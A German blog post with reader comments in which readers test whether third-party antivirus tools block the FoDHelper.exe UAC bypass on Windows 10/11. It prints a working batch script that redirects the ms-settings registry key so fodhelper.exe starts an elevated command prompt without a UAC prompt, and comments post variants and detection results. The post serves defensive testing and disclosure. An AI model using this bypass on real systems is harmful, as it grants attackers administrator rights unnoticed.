Windows 10/11 FoDHelper UAC-Bypassing-Test und Fremdvirenscanner

WindowsIm aktuellen Blog-Beitrag geht es um einen Test für Windows 10/11-Systeme mit installiertem Fremdvirenscanner und die Frage, ob diese "Sicherheitstools" einen Programmaufruf über FoDHelper.exe erkennen und blockieren. Der Test kann eigentlich auf jedem System, auch ohne Administratorrechte, ausgeführt werden und erfordert im einfachsten Fall lediglich Copy & Paste von wenigen Anweisungen.


Anzeige

Hintergrund des Ganzen ist die Frage von Sicherheitsexperte Stefan Kanthak, wie sich Systeme unter Windows 10 und Windows 11 verhalten, wenn ein Virenscanner von einem Drittanbieter installiert ist. Stefan Kanthak bittet darum, dass Benutzer unter Windows 10 oder Windows 11 den nachfolgend beschriebenen Test durchführen.

UAC-Bypassing mit FoDHelper.exe

Die Methode wurde von einem deutschen Studenten mit Namen Christian B. im Rahmen einer Masterarbeit zum Thema 'UAC Bypassing Methoden' entwickelt. Dazu hat er die im Blog-Beitrag Erebus Ransomware und die ausgetrickste UAC  skizzierte UAC-Bypass-Methode variiert. Statt auf die Ereignisanzeige (eventvwr.exe) zu setzen, verwendet er das Programm fodhelper.exe. Dieses Programm kommt zum Einsatz, wenn man in der Einstellungen-App auf die Kategorie Apps & Features anwählt.

Bei fodhelper.exe handelt es sich um eine 'trusted binary', die administrative Berechtigungen anfordert, ohne dass die Benutzerkontensteuerungsabfrage (unter einem Administratorkonto) angezeigt wird. Christian B. hat nun herausgefunden, dass Windows 10 beim Start der fodhelper.exe in zwei Registrierungsschlüsseln nach zusätzlichen Befehlen nachschaut.

Die Details hatte ich im Mai 2017 im Blog-Beitrag Windows10: Neue UAC-Bypassing-Methode (fodhelper.exe) beschrieben.  Die Methode wird auch auf Pentesting-Seiten wie pentestlab.org (siehe UAC Bypass – Fodhelper) beschrieben – und auf GitHub gibt es das PowerShell-Script FodhelperUACBypass.ps1.

Der UAC-Bypassing-Test

Der betreffende Test kann in Form eines Batch-Programms unter Windows 10/11 ausgeführt werden. Kopiert euch für den Test die nachfolgenden Batchanweisungen in eine Datei FoDHelper.bat.

REG.exe ADD HKEY_CURRENT_USER\Software\Classes\qUACkery\Shell\Open\Command /VE /T REG_SZ /D "%COMSPEC%" /F
REG.exe ADD HKEY_CURRENT_USER\Software\Classes\MS-Settings\CurVer /VE /T REG_SZ /D "qUACkery" /F
FoDHelper.exe
REG.exe DELETE HKEY_CURRENT_USER\Software\Classes\MS-Settings /F
REG.exe DELETE HKEY_CURRENT_USER\Software\Classes\qUACkery /F

Gegebenenfalls fügt ihr am Ende des Batch-Programms noch einen Pause-Befehl ein, um das Schließen des Fensters der Eingabeaufforderung solange zu verhindern, bis eine Taste gedrückt wurde. Für den Test ist das aber nicht erforderlich.

Den Test ausführen

Im Anschluss ist dieses Batchprogramm unter Windows auszuführen – es reicht, die .bat-Datei per Doppelklick aufzurufen. Mein Vorschlag ist, den Test unter einem Standardbenutzerkonto und einem Administratorkonto auszuführen. Beobachtet dann, was passiert und beschreibt es in den Kommentaren.

Sofern ein Administrator die Ausführung von Batch-Skripten per SAFER, AppLocker oder WDAC unterbunden hat, lässt sich eine Eingabeaufforderung starten und die obigen fünf Zeilen per Copy & Paste einfügen.

Was ich beobachtet habe

Wird die FoDHelper.exe-Methode aus dem Batchprogramm unter einem Standardbenutzerkonto aufgerufen, kommt bei mir unter Windows 10 22H2 (mit dem Defender als Virenschutz) eine Benutzerkontenabfrage (hatte ich erwartet). Im Anschluss an die Bestätigung der UAC-Abfrage wird die Einstellungsseite Optionale Features geöffnet (siehe folgender Screenshot).


Anzeige

Windows Optionale Features

Wird das Batchprogramm dagegen unter einem Administratorkonto ausgeführt, startet das Ganze ohne dass eine Benutzerkontensteuerung anschlägt (es sei denn, die UAC-Berechtigungsabfrage steht auf der höchsten Stufe – siehe auch meine Hinweise im Blog-Beitrag Windows10: Neue UAC-Bypassing-Methode (fodhelper.exe) beschrieben). Anschließend sollte nichts passieren, sondern das Fenster der Eingabeaufforderung wird geschlossen.

Interessant wäre, ob bei installiertem Drittanbieter Virenscanner und Aufruf aus einem Administratorenkonto die Einstellungsseite Optionale Features angezeigt wird. In diesem Fall hätte der Fremdvirenscanner den Defender deaktiviert, ohne den obigen Aufruf von FoDHelper.exe abzufangen.

Weitere Erklärungen zum Test

Stefan Kanthak bittet, diesen Test von der Leserschaft durchführen zu lassen, weil hier im Blog häufig über den Schutz von Drittanbieter-Virenscannern für Windows die Rede ist. Hierzu schrieb er mir folgende ergänzende Informationen zum Hintergrund des obigen Tests:

  • FoDHelper.exe alias "Feature on Demand Helper" ist eines der 70+ Programme, die in der Standardinstallation, wo normale Benutzer das beim Setup eingerichtete Administratorkonto verwenden, erhöhte Rechte ohne Nachfrage der Benutzerkontensteuerung (d.h. Anzeige des UAC-Dialogs) erlangen.
  • FoDHelper.exe liest den Registry-Schluessel [HKEY_CLASSES_ROOT\ms-settings] aus und führt die dort hinterlegte Kommandozeile aus.
  • [HKEY_CLASSES_ROOT] ist seit Windows 2000 ein virtueller  Registry-Zweig, gebildet aus der Überlagerung der beiden nachfolgenden Registrierungszweige, wobei Letzterer den Ersteren überdeckt.
    [HKEY_LOCAL_MACHINE\SOFTWARE\Classes]
    [HKEY_CURRENT_USER\Software\Classes]

Unter [HKEY_LOCAL_MACHINE] können nur Administratoren schreiben, während unter [HKEY_CURRENT_USER] der "gemeine"  Benutzer Schreibrechte besitzt. Der Registry-Eintrag:

[HKEY_CURRENT_USER\Software\Classes\MS-Settings\CurVer]
@="qUACkery"

richtet eine Umleitung zum Schlüssel:

[HKEY_CURRENT_USER\Software\Classes\qUACkery]

ein, unter dem die Konmandozeile "%COMSPEC%" alias:

C:\Windows\System32\cmd.exe

hinterlegt ist. Dank dieser Umleitung ruft FoDHelper.exe statt des unter

[HKEY_CLASSES_ROOT\ms-settings]

alias

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ms-settings]

eingetragenen "Immersive Control Panel" den unter:

[HKEY_CURRENT_USER\Software\Classes\ms-settings]

alias

[HKEY_CURRENT_USER\Software\Classes\qUACkery]

eingetragenen Kommandoprozessor mit erhöhten Berechtigungen auf. Stefan schrieb in seiner Mail "Dummerweise wird dieser Aufruf inzwischen vom Windows Defender blockiert. Als diese UAC-Umgehung veröffentlicht wurde, war das nicht der Fall, und Microsoft hat drei Versuche und mehrere Wochen gebraucht, um die Überwachung durch den Defender zu implementieren."

Stefan Kanthak fragt daher: "Ich möhte gerne wissen, ob andere Drittanbieter Virenscanner das ebenso blockieren, bzw. ob diese Sicherheitslücke beim Missbrauch anderer Fremdvirenscanner ausgenutzt werden kann." Er weist darauf hin, dass es eigentlich nicht sein darf, dass ein mit erhöhten Rechten laufendes Programm Registrierungseinträge oder Umgebungsvariablen abfragen und zur Befehlsausführung auswerten darf, die von nicht privilegierten Benutzern gesetzt wurden.

Nachdem das Batch-Programm beendet wurde, sind die gesetzten Registrierungseinträge wieder gelöscht – das System bleibt also sauber zurück.


Cookies blockieren entzieht uns die Finanzierung: Cookie-Einstellungen

Dieser Beitrag wurde unter Sicherheit, Windows, Windows 10 abgelegt und mit , , verschlagwortet. Setze ein Lesezeichen auf den Permalink.

44 Antworten zu Windows 10/11 FoDHelper UAC-Bypassing-Test und Fremdvirenscanner

  1. Luzifer sagt:

    Windows 10 Pro 22H2 Build 19045.2728 Mit ESET Smart Security v16.0.26.0
    öffnet sich unter Administrator Konto nix. das Ausführungsfenster schließt sich.

    Also alles so wie es sein sollte.

    Windows 10Pro 22H2 Build 19045.2728 Kaspersky Security Cloud ebenso.

  2. AHeyne sagt:

    Windows 10 22h2, ESET Endpoint Antivirus 10.0.2045.0:

    Der Start der Batch-Datei unter einem Admin-Konto mit ganz hochgedrehter UAC erfordert das Absegnen des Admin-Zugriffs, dann öffnet eine privilegierte Command Line (getestet mit 'NET SESSION' in der Command Line).

    • Jogi sagt:

      Bei mir unter Windows 11 22H2 und ESET 10.0.2045 das gleiche Verhalten unter dem Admin-Konto. Es wird kein UAC und kein Fenster mit der Einstellungsseite "Optionale Features" geöffnet. Dafür aber eine priveligierte Kommandozeile

  3. Paul sagt:

    Sehr lehrreicher Artikel.
    Danke.

    Explizit gesagt:
    Der Defender schaltet sich automatisch ab, wenn ein anderer Virenscanner sich anmeldet.
    Somit muss jeder Virenscanner solchen Klopse kennen…
    Da schläft der Admin doch gleich viel besser…

    Was ist das für ein kaputtes Betriebssystem-Design, das
    User Datei in Root 'einblenden'?
    Ansonsten hätte man ja sagen können, das fodhelper seine Rechte erniedrigen müsste, bevor er User Daten.
    achso.
    MS bietet jetzt ja auch eine -kostenpflichtige- Enterprise Version an, die viele Features bietet, die man im Unternehmen braucht und bisher eine fremde Scanner erforderte.
    Achso, nicht vergessen
    In der Cloud gibt es das Problem natürlich nicht.

  4. Singlethreaded sagt:

    Windows 10 21H2 Enterprise, 10.0.19044.2728 – Panda Adaptive Defense 360 – 8.0.21.0004

    Lokales Benutzerkonto, per Doppelklick gestartet:

    – Registry Schlüssel werden erfolgreich geschrieben und auch gelöscht
    – FoDHelper.exe -> Zugriff verweigert
    In der Folge passiert sichbar nix

    Lokales Benutzerkonto mit Mitgliedschaft der Gruppe Administratoren, per Doppelklick gestartet:

    – Registry Schlüssel werden erfolgreich geschrieben und auch gelöscht
    – FoDHelper.exe -> Zugriff verweigert
    In der Folge passiert sichbar nix

    -> Batch direkt als Admin gestartet -> Rechte Maustaste "Als Administrator ausführen":

    Lieber Administrator,

    Adaptive Defense 360 hat am 18.03.2023 09:58:00 UTC eine Aktivität durch eine Bedrohung vom Typ „Schädliches Programm" namens „W32/Exploit.gen" auf Computer „WIN10TEST" erkannt.

    Falls Sie Fragen haben, kontaktieren Sie das Team unseres technischen Supports.
    Bedrohungsdetails
    Computer: WIN10TEST
    Gruppe: Alle\Lock-Service für Clients (vollwertig)
    Name: W32/Exploit.gen
    Pfad: WINDOWS|\TEMP\489314D86C55A948A225789DB7A93229_00000000C771903F.tmp
    Hash: 865C0C0B4AB0E063E5CAA3387C1A8741

    Datum: 18.03.2023 09:55:30 UTC
    Aktion: Wird ausgeführt von
    Pfad/URL/Registrierung/Schlüssel: SYSTEM|\fodhelper.exe
    Datei/Hash/Registrierungswert: 85018be1fd913656bc9ff541f017eacd
    Vertrauenswürdig: Ja

    In der Folge hat der Kollege in Bereitschaft jetzt Plus, aber die Aktion wurde blockiert.

    • Partypapst sagt:

      Ist Panda Adaptive Defense 360 bei ihnen im "Hardening" oder im "Lock"-Modus im Einsatz?

      • Singlethreaded sagt:

        Der Modus ist Lock.

        • Paul sagt:

          Wer erzeugt denn so einen Datei Namen?
          WINDOWS|\TEMP\489314D86C55A948A225789DB7A93229_00000000C771903F.tmp

          Und dann .tmp?
          Was steht in der tmp?
          Die bösen Registry werte?

          • Singlethreaded sagt:

            Windows legt dort wohl Daten im Temp Verzeichnis ab, wenn der Vorgang bearbeitet wird. Den Inhalt habe ich jetzt nicht geprüft, da die Datei direkt durch die Endpoint Protection gelöscht wird. Ich müsste sehen ob ich an den Inhalt gelangen kann. Ist die Frage ob es was bringt, da meine Vorgehensweise ja nicht korrekt war -> Siehe spätere Hinweise von Stefan Kanthak.

            Auf der andere Seite halte ich es ehr für unwahrscheinlich, dass die Endpoint Protection anders reagiert, wenn der User jener ist, welcher die Windows Installation initial eingerichtet hat. Ich vermute zumindest, dass das von uns verwendete Produkt dort identisch eingreifen wird. Vielleicht habe ich morgen noch Zeit für einen neuen Test.

            Nachtrag:
            Habe den Hash von oben bei Virustotal gesucht:

            https://www.virustotal.com/gui/file/de7d1b721a1e0632b7cf04edf5032c8ecffa9f9a08492152b926f1a5a7e765d7/summary

            Dort heißt es "File distributed by Microsoft and The Document Foundation", welcher nicht als Virus klassifiziert ist. Andere Sample haben eine ähnliche Namensgebung.

            Scheint sich um Javascript zu handeln, erste Übermittlung war im Jahr 2009.

          • Paul sagt:

            Hab den MD5 einfach mal bei Google eingegeben…

            https://opentip.kaspersky.com/865C0C0B4AB0E063E5CAA3387C1A8741/results

            kennt diesen MD5 seit 2010.
            Wurde 100mal gefunden.
            Und sagen "Clean".
            Weitere Infos geben die nur gegen Kohle raus.

            85018be1fd913656bc9ff541f017eacd kenne sie auch, seit 2019,und wurde 10000 mal gefragt.

            Also 2 "Cleans" führt bei Panda zueiner Viruswarnung?

            Doch alles nur Schlangenöl?

          • Singlethreaded sagt:

            Ich denke Du darfst in diesem Fall nicht außer Acht lassen, dass der gesamte Bypass auf Systemanwendungen basiert.
            Man sieht ja in der Panda Meldung, daß die fodhelper.exe grundsätzlich als vertrauenswürdig eingestuft ist. Hier geht es also um das konkrete Verhalten einer eigentlichen gutartigen Anwendung.
            In anderen Fällen mag der Aufruf von fodhelper.exe völlig legitim sein.
            Stell dir vor mit 7-Zip verschlüsselt jemand 173 Dokumente in AES-256 per Command-Line Befehl. Ist das jetzt die Vorbereitung der sicheren Datenübertragung an einen Kunden oder der Beginn einer Ransomware-Attacke? Wenn für böse Abschichten nur spezielle Anwendungen zur Ausführung kämen, dann wäre die Erkennung um vieles leichter.

  5. Herr IngoW sagt:

    Guten Abend
    Hier hat der "Defender" das gefunden (Mit Admin-Rechten angemeldet).
    Angezeigt wird gleich bei der Ausführung der Datei:
    Bedrohung gefundenen: VirTool:Win32/UACBypassExp.gen!B
    Bedrohung blockiert: VirTool:Win32/UACBypassExp.gen!B
    Status: entfernt
    Als nicht-Admin kommt erst die Benutzer-Steuerung, wenn man das mit "Ja" Bestätigt meldet sich der "Defender" mit obigen anzeigen.
    Die reg-Einträge sind nicht vorhanden.

  6. IchMalWieder sagt:

    Ok,

    Als Standardbenutzer: UAC geht auf, will Berechtigungen.
    Als administrativer Nutzer: An der UAC vorbei. Die Seite Optionale Features wird angezeigt.

    War interessant das zu testen, daher Danke für die Information. Das Ergebnis habe ich genauso erwartet.

    FortiClient 7.0.7.0345

  7. Stefan Kanthak sagt:

    Günters "Mein Vorschlag ist, den Test unter einem Standardbenutzerkonto und einem Administratorkonto auszuführen." ist leider falsch: der Test MUSS im bei der Windows-Installation angelegten Benutzerkonto durchgeführt werden. Unter diesem Konto laufen Prozesse entweder mit Benutzer- oder mit Administratorrechten, wobei letztere durch die von ersteren vorgenommenen Einstellungen beeinflusst werden.
    Wird der Aufruf von FoDHelper.exe NICHT von irgendeinem Schlangenöl blockiert, dann startet dieses Programm eine Eingabeaufforderung mit ADMINISTRATOR-Rechten, erkennbar am Text "Administrator" in der Titelleiste des Fensters. Ist der UAC-Schieber in STANDARD-Einstellung, dann passiert das OHNE UAC-Abfrage.
    Siehe auch https://seclists.org/fulldisclosure/2023/Mar/9

    • Singlethreaded sagt:

      Dann war mein Test falsch. Ich habe auf der Test VM einen Snapshot gesetzt und zwei lokale Benutzer mit und ohne Adminrechte angelegt. Unter diesen habe ich dann jeweils die Batch gestartet. Im Anschluss dann die Maschine zurückgedreht.

      Funktioniert das Ganze denn nur mit dem "Ur-User"? Diese Frage hätte ja gerade im betrieblichen Umfeld starke Relevanz, da der lokale Ur-User ja zumindest bei uns nie verwendet wird. Die Mitarbeiter melden sich logischerweise mit einem Domain-User an und dafür wird bei der ersten Anmeldung ja ein neues User-Profile angelegt. Diese sollten somit kein Ur-User sein.

      Aus dem Deployment gibt es zwar den lokalen Account Administrator, aber der ist deaktiviert. Somit käme die beschriebene Konstellation gar nicht zum tragen, oder habe ich was falsch verstanden?

      • Paul sagt:

        …ja. Oder MS hat sich da eine Hintertür eingebaut, das das FUD.exe in einem runas gestartet wird, was nur jmd mit Admin Rechten darf.
        ne, auch Unsinn.
        Stefan sagt ja, das nicht mal Admin Rechte ausreichen würden, sondern man unter dem User arbeiten muss, der das System eingerichtet hatte.
        m.w. gab es da im Setup so einen User, den Windows selbst angelegt hatte und auch wieder löschte um das System überhaupt aus dem Nichts Hochzuziehen (Münchhausen, Bootstrap, HenneEi Problem)

    • Ärgere das Böse! sagt:

      "…der Test MUSS im bei der Windows-Installation angelegten Benutzerkonto durchgeführt werden…"
      Das Admin-Konto oder ein Benutzer, der während der Installation angelegt wurde?

      • Paul sagt:

        Ich verstehe dass so das das die SID des Users sein soll, der die Installation gemacht hat. Das unsere wahrend der Installation abgelegt werden ist normal. Es würde mich wundern wenn diese irgendwie anders wären.
        Aber wie gesagt was hindert eine Admin daran diese SID zu löschen?

    • Stefan Kanthak sagt:

      Zur Klarstellung:
      1) es SOLLTE das WÄHREND einer STANDARD-Installation von Windows angelegte Benutzerkonto verwendet werden ; dieses ist Mitglied der Gruppe "Administratoren", aber die UAC entfernt diese Mitgliedschaft aus dem "Access Token" des Login-Prozesses und damit allen von diesem gestarteten Folge-Prozessen (u.a. EXPLORER.exe).
      2) es KANN auch jedes SPÄTER angelegte Benutzerkonto verwendet werden, dass ebenfalls Mitglied der Gruppe "Administratoren" ist; für diese gilt das unter 1) geschriebene ebenso.
      JFTR: NUR in solchen Konten verwenden mit "Als Administrator ausführen" gestartete Prozesse das Benutzerprofil des unprivilegierten Aufrufers.
      3) ein STANDARD-Benutzerkonto ist NICHT geeignet: dort ist "Ausführen als Administrator" gleich "Ausführen als anderer Benutzer", so gestartete Prozesse verwenden ein Benutzerprofil des "anderen Benutzers", NICHT das des aufrufenden unprivilegierten Benutzers.
      4) das ECHTE, standardmässig deaktivierte Konto "Administrator" ist ebenfalls ungeeignet (denn dort läuft JEDER Prozess bereits mit Administratorrechten).
      JFTR: bei 3) und 4) ist Blockieren von FoDHelper.exe VÖLLIGER SCHWACHSINN; falls euer Schlangenöl er trotzdem macht: WERFT DEN SCHROTT WEG!

      Ob ein Benutzerkonto für den Test geeignet ist könnt ihr wie folgt feststellen:
      a) Startet eine Eingabeaufforderung;
      b) REG.exe ADD "HKEY_CURRENT_USER\Software\Microsoft\Command Processor" /V AutoRun /T REG_SZ /D "ECHO GEEIGNET!" /F
      c) Schliesst die Eingabeaufforderung.
      d) Startet eine Eingabeaufforderung mit erhöhten Rechten (siehe https://borncity.com/win/2016/07/06/windows10-open-command-prompt-window-as-administrator/)
      Wenn dort "GEEIGNET!" angezeigt wird ist das Konto geeignet.

      • Singlethreaded sagt:

        Demnach passten bei meinem Test mit Benutzerkonto in der Gruppe Administratoren die Rahmenbedingungen doch und die Aktion wurde durch das Drittanbieter AV blockiert.

      • Stefan Kanthak sagt:

        ALTERNATIVE Methode:

        a) Startet den Registrierungs-Editor REGEDIT.exe: wenn das einen UAC-Prompt auslöst ist das Konto geeignet
        b) Ersetzt im Batch-Skript %COMSPEC% durch %SystemRoot%\REGEDIT.exe
        c) Startet das Batch-Skript per Doppelklick: wenn FoDHelper.exe NICHT blockiert wird startet es den Registrierungs-Editor, OHNE UAC-Prompt!

  8. Paul sagt:

    Zwar werden 99,9,% aller Instsllationen den ersten User behalten haben.
    Aber es wäre für doch auch möglich einen 2. Account mit Adminrechten anzulegen und den ersten Account zur löschen.
    Z.B. durfte man bei W7 keinen User beim Setup verwenden der schon zum Zeitpunkt des Syspreps existierte.
    Man hat sich dann im Setup mit einem Dummy User beholden, der sogleich wieder gelöscht wurde um nur die dokumentieren User auf dem System zu haben.
    Also war es nur Zufall daß das System weiterlief, ohne den Installations User, dessen SID gelöscht worden sein sollte.
    Dieser User dürfte garnicht gelöscht werden können?

  9. Ärgere das Böse! sagt:

    Im Standard-Benutzer Konto kommt bei mir eine UAC-Abfrage. Ich habe dann das Passwort eingegeben und komme dann zu Optionale Features. Die UAC ist auf Standard eingestellt, Schieber zuoberst.
    Aber es ist nicht das ursprünglich bei der Installation angelegte Benutzerkonto

    • Ärgere das Böse! sagt:

      Im Administrator-Konto, UAC auf Standard eingestellt, bleibt bei mir ein DOS-Fenster offen: c.\Windows\system32>

      Eine UAC Abfrage hat es nicht gegeben.

      Ich vermute auch, dass es nicht das ursprüngliche Admin-Konto ist.

      Ich verwende das Schlangeöl Norton Security. Gilt auch für den vorherigen Kommentar.

      Die Norton Security hat sich in beiden Fällen nicht gemeldet.

    • Ärgere das Böse! sagt:

      Wenn ich das weiter oben und unten stehende richtig interpretiere, ist das gut.

  10. Paul sagt:

    …ja. Oder MS hat sich da eine Hintertür eingebaut, das das FUD.exe in einem runas gestartet wird, was nur jmd mit Admin Rechten darf.
    ne, auch Unsinn.
    Stefan sagt ja, das nicht mal Admin Rechte ausreichen würden, sondern man unter dem User arbeiten muss, der das System eingerichtet hatte.
    m.w. gab es da im Setup so einen User, den Windows selbst angelegt hatte und auch wieder löschte um das System überhaupt aus dem Nichts Hochzuziehen (Münchhausen, Bootstrap, HenneEi Problem)

  11. Rene sagt:

    Bei mir mit Kaspersky Internet Security gingen 2 cmd Fenster auf. Eines schloss sich sofort wieder, ein Fenster bleibt offen.

    Im cmd Fenster steht:
    Microsoft Windows [Version 10.0.19045.2728]
    (c) Microsoft Corporation. Alle Rechte vorbehalten.
    C:\WINDOWS\system32>

    Mein System:
    Windows 10 Pro
    Version 22H2
    Betriebssystembuild 19045.2728
    Windows Feature Experience Pack 120.2212.4190.0

    Ist das nun gut oder schlecht?

    • Günter Born sagt:

      Weder noch – schlecht wäre, wenn sich die Optionalen Features geöffnet hätten – dann wäre der Aufruf ohne UAC-Anfrage durchgegangen. Warum das 2. Fenster der Eingabeaufforderung geöffnet bleibt, ist mir aktuell nicht klar – hast Du den Batch 2 Mal aufgerufen? Oder war ein Pause-Statement im Bat-Programm?

      • Rene sagt:

        Ich habe den Test Code eins zu eins kopiert, in den Texteditor eingefügt und dann unter FoDHelper.bat auf dem Desktop gespeichert.
        Anschließend doppelklick

      • Stefan Kanthak sagt:

        "schlecht wäre, wenn sich die Optionalen Features geöffnet hätten"
        NEIN, das ist der GUT-Fall! Im Schlecht-Fall wird eine (weitere) Eingabeaufforderung mit ADMINISTRATIVEN Rechten gestartet.

      • Paul sagt:

        CMD hat mehrer Optionen

        Starte und bleibe offen
        Starte und schließe dich wenn es nic mehr zu ist

        wie man die Parameter schreibt ist nicht unkritisch.
        vielleicht sollte man dem cmd ein
        net Session ; pause mit geben?
        net session dürfen nur Admins abfragem

  12. Singlethreaded sagt:

    Ich denke die Frage ist ob das Fenster Administratorrechte hat. Was steht oben am Rahmen? Administrator: Eingabeaufforderung oder nur Eingabeaufforderung? Was liefert der Befehl "whoami"?

  13. Paul sagt:

    Dieses Problem daß ein nicht Privilegierter User etwas tun muss, was root Rechte erforderte gab es schon zu Unix Zeiten.
    Solchen Exe ware am gesetzten "s" Flag zu erkennen und nur ein User in einer bestimmten Liste durfte diese Befehle starten.
    Es war aber Pflicht solcher Programme nicht weitere Programme zu starten.

    Ist es das was MS hier versucht zu emulieren?

    Problem bei MS
    Ein Programm konnte seine Berechtigungen nicht weiter erhöhen als die, die sie beim Start mitbekommen hat.
    Hier nach kann sichbein Programm doch höher machen?
    Oder ist nur das Problem, daß der User den privilegierten nicht mitbekommt?
    UAC ist aber keine Schutz Funktion, auch wenn man das Gefühl haben kann. (Irgendwo gab es Mal ein entsprechendes Statement…)

  14. Paul sagt:

    Also meines erachtens hat das Script Lösungsbedarf.

    Das FoDHelper.exe wird gespawnt…da kann dauern.
    Es ist noch garnicht richtig oben (Eventloop!)
    da werden schon die Registry Einträge gelöscht.
    Das kann funtionieren, kann aber auch nicht.

    Aber:
    Ich habe meinem Windows Pro kein
    HKEY_CURRENT_USER\Software\Classes\MS-Settings
    Somit kann dieser Registr eintrag nicht mit "reg.exe" gemacht werden.r
    (Als teil von .einer .reg würde es gehen.)
    Auch fehlt im Scpript die Anweisung die
    @="qUACkery"
    erzeugt.
    das
    %comspec% muß nicht cmd.exe sein.
    Wenn man wirklich cmd.exe will muß man den vollqualifizierten Pfad hin schreiben.
    Meist funktioniert Compsec aber.

    Man sollte dem cmd den Parameter "/k net session" mitgeben.
    So sieht man plastisch das cmd mit admin rechte läuft
    und das Fenster geht nicht sofort zu.

    REG.exe ADD HKEY_CURRENT_USER\Software\Classes\qUACkery\Shell\Open\Command /VE /T REG_SZ /D "%COMSPEC% /k" /F
    REG.exe ADD HKEY_CURRENT_USER\Software\Classes\MS-Settings\CurVer /VE /T REG_SZ /D "qUACkery" /F
    FoDHelper.exe
    pause
    REG.exe DELETE HKEY_CURRENT_USER\Software\Classes\MS-Settings /F
    REG.exe DELETE HKEY_CURRENT_USER\Software\Classes\qUACkery /F
    pause

    Aber:
    Ich habe meinem Windows Pro kein
    HKEY_CURRENT_USER\Software\Classes\MS-Settings
    Somit kann dieser Registr eintrag nicht mit "reg.exe" gemacht werden.r
    (Als teil von .einer .reg würde es gehen.)
    Auch fehlt im Scpript die Anweisung die
    @="qUACkery"
    erzeugt.
    das
    %comspec% muß nicht cmd.exe sein.
    Man sollte dem cmd den Parameter /kk """ net session mitgeben.
    So sieht man plastisch das cmd mit admin rechte läuft.

    Ein Problem kann ja nur sein, wenn ein Non-Admin user das fodhelper.exe aufruft
    und eine Admin-shell hoch kommt.
    Aber das kann eigentlich nicht sein, da Windows eine Elevation der Rechte zu höherem nicht gestattet.
    Und wenn der User Admin rechte hat, dann ist es eh schon alles verloren.

    Wie gesagt:
    UAC ist KEIN Sicherheits-Feature!
    Es soll den User nur daran erinnern: Willst Du das wirklich?

    Falls FoDHelper.exe tatsächlich in der Lage sein sollte seine Privilegien über die des Aufrufenden Users zu erhöhen hat MS da absoluten Bockmist gebaut,
    wenn es Befehle ausführt,
    die ein Normaler User gesetzt hat.

    • Ärgere das Böse! sagt:

      "…UAC ist KEIN Sicherheits-Feature!
      Es soll den User nur daran erinnern: Willst Du das wirklich?…"

      Es soll aber verhindern, dass irgendwer einfach so an deinem PC rumschnipseln kann, ohne die entsprechende Berechtiung (Passwort) zu haben. Dewswegen wurde doch die UAC eingeführt.

      • Paul sagt:

        Es gibt genug Stellen an denen keine (erneute) UAC erfolgt weil dies den User nerven würde und er das UAC irgendwann genervt abschalten würde.
        Hier ist so ein Fall.
        Erinnere an Vista Das ist wegen des UAC nicht auf dem Markt angekommen.
        Das UAC ist der reine Schweizer Käse, aus Komfort-Gründen.
        Wie hier zu lesen war haben 70+ Programme autoelevation..m.
        Diese müßten extrem sauber programmiert sein. Sind die aber nicht, wie hier wo einem solchen Programm die Daten eines Non-Admins gegeben werden. Vom Betriebssystem.
        Vielleicht finde ich die Quelle wieder an der stand das mam UAC nicht vertrauen kann. Ich war bis dahin auch der Meinung das es sicher wäre, das UAC auf der empfohlenen Stufe 2 zu haben, weil ich ja gefragt würde..
        Selbst ein 2. User mit Admin Rechten hilft ja nichts weil ich das Programm nur im Kontext dieses Admin,+ Users laufen lassen kann. Das ist ein gewollter Konstruktions Fehler, weil MS verhindert, dass man mit mehreren Usern auf einer Kiste arbeiten kann, wenn man keine Lizenzenbgeblutet hat.
        (Bekanntes Beispiel ist ja das man von einem PC aus nicht mit mehreren Accounts Shares Mounten kann ( Trick für einen weiteren Account die IP zunehmen. Das hat MS extra so programmiert.Bei Unix kann man von einem PC aus von einem Server mit 10 Accounts verschiedene Shares von einem Server mounten. Klar das MS sich damit ein Ei gelegt oder selbst den Fuß gestellt oder ins Knie geschossen hat. Aber Lizenz Gebühren sind wichtiger als die Sicherheit der User.

  15. Micha sagt:

    Wird von Kaspersky Internet Security 21.3.10.391(j) erkannt und geblockt. Anschließend in Quarantäne verschoben. Die Einstellungsseite wird nicht geöffnet.

    Typ: Trojaner
    Name: PDM:Trojan.Win32.Generic
    Bedrohungsstufe: Hoch
    Objekttyp: Prozess

    Windows 11 22H2 Build: 22621.1413 ist installiert.

  16. weingeist sagt:

    CMD.EXE wurde mit dem oben angegebenen Pfad als aktuellem Verzeichnis gestartet.
    UNC-Pfade werden nicht unterstützt.
    Stattdessen wird das Windows-Verzeichnis als aktuelles Verzeichnis gesetzt.

    C:\Windows>REG.exe ADD HKEY_CURRENT_USER\Software\Classes\qUACkery\Shell\Open\Command /VE /T REG_SZ /D "C:\WINDOWS\system32\cmd.exe" /F
    Der Vorgang wurde erfolgreich beendet.

    C:\Windows>REG.exe ADD HKEY_CURRENT_USER\Software\Classes\MS-Settings\CurVer /VE /T REG_SZ /D "qUACkery" /F
    Der Vorgang wurde erfolgreich beendet.

    C:\Windows>FoDHelper.exe

    C:\Windows>REG.exe DELETE HKEY_CURRENT_USER\Software\Classes\MS-Settings /F
    Der Vorgang wurde erfolgreich beendet.

    C:\Windows>REG.exe DELETE HKEY_CURRENT_USER\Software\Classes\qUACkery /F
    Der Vorgang wurde erfolgreich beendet.

    Ist das jetzt gut oder schlecht ?
    Es läuft Sophos und hat nicht angeschlagen

  17. Duschgel sagt:

    Bitdefender GravityZone

    Als normaler User, UAC-Abfrage -> Einstellungsseite Optionale Features.
    Bitdefender Meldung:
    Die Advanced Threat Control hat einen Prozess blockiert, der als schädlich erkannt wurde.
    Installierter Agent: Bitdefender Endpoint Security Tools
    Befehlszeile: REG.exe ADD HKEY_CURRENT_USER\Software\Classes\MS-Settings\CurVer /VE /T REG_SZ /D qUACkery /F
    Pfad des übergeordneten Prozesses: C:\Windows\System32\cmd.exe
    Übergeordnete PID: 5480
    Exploit-Typ: ATC-Anwendung
    Exploit-Pfad: C:\Windows\System32\reg.exe
    Exploit-Status: ATC/IDS Blockiert
    Letzte Blockierung: 20 March 2023 09:35:03

    User, welcher bei der Installation angelegt wurde, Mitglied der Administratoren Gruppe . Nach der Ausführung geht ein 2. CMD Fenster auf.
    Meldung Bitdefender:
    Die Advanced Threat Control hat einen Prozess blockiert, der als schädlich erkannt wurde.
    Installierter Agent: Bitdefender Endpoint Security Tools
    Befehlszeile: REG.exe ADD HKEY_CURRENT_USER\Software\Classes\MS-Settings\CurVer /VE /T REG_SZ /D qUACkery /F
    Pfad des übergeordneten Prozesses: C:\Windows\System32\cmd.exe
    Übergeordnete PID: 1532
    Exploit-Typ: ATC-Anwendung
